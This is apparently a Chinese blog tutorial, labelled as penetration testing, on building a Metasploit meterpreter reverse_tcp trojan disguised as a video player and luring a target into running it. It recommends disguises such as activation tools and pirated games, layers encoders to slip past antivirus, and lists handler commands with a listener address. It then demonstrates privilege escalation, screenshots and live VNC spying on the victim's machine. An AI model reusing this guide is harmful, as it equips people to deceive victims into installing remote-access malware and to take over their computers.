渗透测试-制作一个‘有吸引力的软件‘去获取电脑shell(功能很强大,有惊喜)

简介: 渗透测试-制作一个‘有吸引力的软件‘去获取电脑shell(功能很强大,有惊喜)

 目录

 

1.客户端渗透原理

2.实验环境

3.实战:使用msfvenom生成西瓜影音看片神器后门木马

1.生成西瓜影音.exe后门程序

2.在MSF上启动handler开始监听后门程序

3.展示一下强大的功能

1.查看权限并提权

2.查看文件列表

3.查看系统信息

4.截图

5.实时监控win7电脑

6.其他一些操作

1.客户端渗透原理

在我们无法突破对方的网络边界的时候,往往需要使用客户端渗透这种方式对目标发起攻击。

客户端渗透技巧,我们可以将软件伪装一下,比如说将名字改为:windows激活工具,盗版游戏,抢红包软件,西瓜影音等等,只要能够吸引目标去下载安装就可以。

平时我们去激活系统,下载的激活工具,即使它提示我们有病毒,但是我们还是会去下载,用的就是这个原理。

2.实验环境

一台kali,一台win7,两台主机是在一个局域网内。

3.实战:使用msfvenom生成西瓜影音看片神器后门木马

msfvenon是msfpayload,msfencode的结合体,可利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线。

1.生成西瓜影音.exe后门程序

使用一个编码器

image.gif编辑image.gif编辑

使用两个编码器

image.gif编辑

image.gif编辑

参数说明:

-a 指定架构如 x86 x64。x86代表32位,x64代表64位。32位软件可以在64位系统上运行。

--platform 指定平台,这里选择windows,通过 --| platform 可以查看所有支持的平台

-p 设置攻击载荷,我们使用windows/meterpreter/reverse_tcp,可以通过-| payloads查看所有攻击载荷

LHOST 目标主机执行程序后链接我们的kali地址

LPORT 目标主句执行程序后链接我们kali的端口

-b 去掉坏字符,坏字符会影响payload正常执行。

image.gif编辑

image.gif编辑

2.kali系统开启apache服务

systemctl  start apache2

image.gif编辑

3.在win7系统里下载刚刚生成的西瓜影音软件

 http://xxx.xxx.xxx.xxx/西瓜影音1.exe

 http://xxx.xxx.xxx.xxx/西瓜影音2.exe

image.gif编辑

4.我们可以通过下面这个网站来扫描一下我们生成的两个exe病毒检测结果。

网络异常,图片无法展示
|

image.gif编辑

扫描结果:

一个生成器

image.gif编辑

两个生成器

image.gif编辑

如图,可以看出,两个生成器被检测出病毒的概率小一点。一般,为了不让电脑把软件当成病毒给杀掉,最好使用两个生成器。

2.在MSF上启动handler开始监听后门程序

1.kali启动Metasploit软件

2.使用模块 use exploit/multi/handler,并查看需要配置的参数show options

image.gif编辑

3.建立payload

set payload windows/meterpreter/reverse_tcp

image.gif编辑

4.设置监听主机--kali  

set LHOSTS 192.168.1.53

image.gif编辑

5.开启run

image.gif编辑

6.在win7电脑里运行刚刚下载的西瓜影音软件。kali系统就建立了会话。

image.gif编辑

3.展示一下强大的功能

1.查看权限并提权

image.gif编辑

我们可以看到,此时是Administrator权限。一般电脑的权限分为:普通用户权限,管理员权限和系统权限。

输入help可以查看到有很多功能。其中一个就是getsystem。

image.gif编辑

输入getsystem,输入getuid,权限就变成了系统权限。

image.gif编辑

2.查看文件列表

image.gif编辑

3.查看系统信息

sysinfo

image.gif编辑

4.截图

(当前win7桌面)screenshot

image.gif编辑

存放在root目录下

image.gif编辑

5.实时监控win7电脑(惊喜)

run vnc

image.gif编辑

image.gif编辑

6.其他一些操作

shutdown 关机  reboot 重启  reg注册表相关信息

相关文章
|
2天前
|
网络协议 Windows
在电脑上测试TCP/UDP端口是否开放,还是得网络大佬这招厉害!
在电脑上测试TCP/UDP端口是否开放,还是得网络大佬这招厉害!
|
14天前
|
测试技术 持续交付
探索式测试:一种高效且灵活的软件质量保证策略
在快速迭代和持续交付的软件开发环境中,传统的测试方法往往难以应对日益增长的测试需求。探索式测试作为一种灵活而高效的测试实践,强调测试人员的个人技能和经验,鼓励在测试过程中不断探索和学习。本文将介绍探索式测试的核心概念、实施步骤以及如何将其与传统测试方法相结合,以提升软件质量和测试效率。
|
16天前
|
缓存 算法 Java
非功能需求的测试
非功能需求的测试
15 2
|
24天前
|
人工智能 监控 安全
自动化测试在软件生命周期中的重要性
随着软件开发周期的加速,自动化测试成为确保软件质量和缩短上市时间的关键因素。本文旨在探索自动化测试如何在不同阶段提升效率与质量,并分析其在当前软件开发生态中的不可替代性。
|
18天前
|
测试技术 持续交付
探索式测试:软件质量的守护者
在软件开发生命周期中,确保产品质量是至关重要的一环。探索式测试,作为一种动态的软件测试方法,强调测试人员的个人技能和经验的运用,以发现那些可能被传统测试方法忽略的问题。本文将介绍探索式测试的核心理念、实施步骤以及它在现代软件开发中的不可替代性,同时通过具体案例分析,展现其在实际工作中的应用价值和对提升软件质量的重大贡献。
|
3天前
|
机器学习/深度学习 人工智能 自然语言处理
探索软件自动化测试的未来:AI驱动的测试策略
【7月更文挑战第47天】 随着人工智能(AI)技术不断进步,其在软件测试领域的应用也日益广泛。本文将探讨如何整合AI技术与现有的自动化测试流程,提出一个面向未来的测试策略。文章重点分析了AI在测试用例生成、执行、结果分析和持续集成中的作用,同时预测了这种技术融合对测试工程师角色的影响,以及它如何提高软件测试的效率和准确性。
|
4天前
|
JavaScript 前端开发 应用服务中间件
【qkl】JavaScript连接web3钱包,实现测试网络中的 Sepolia ETH余额查询、转账功能
【区块链】JavaScript连接web3钱包,实现测试网络中的 Sepolia ETH余额查询、转账功能
|
1月前
|
敏捷开发 测试技术
探索性测试在软件质量保证中的角色与实践
在软件开发生命周期中,确保软件质量是一个不断挑战的过程。探索性测试(ET)作为一种灵活、启发式的测试方法,它与传统的脚本测试相比,提供了一种更为动态的测试方式。本文将探讨探索性测试的概念、优势以及如何在项目中有效实施ET,以提升软件质量。
19 2
|
18天前
|
机器学习/深度学习 人工智能 自然语言处理
探索自动化测试的边界:如何有效整合AI技术提升软件质量
随着人工智能技术的飞速发展,其在软件测试领域的应用逐渐深入。本文将探讨自动化测试与AI结合的现状和挑战,分析AI在提升测试效率、发现深层次缺陷等方面的潜力,并提出实现这一融合的实践策略。
20 0
|
18天前
|
机器学习/深度学习 自然语言处理 算法
测试FunAudioLLM在性能、功能、技术先进性等跟国际知名语音大模型进行比较。
测试FunAudioLLM在性能、功能、技术先进性等跟国际知名语音大模型进行比较。

热门文章

最新文章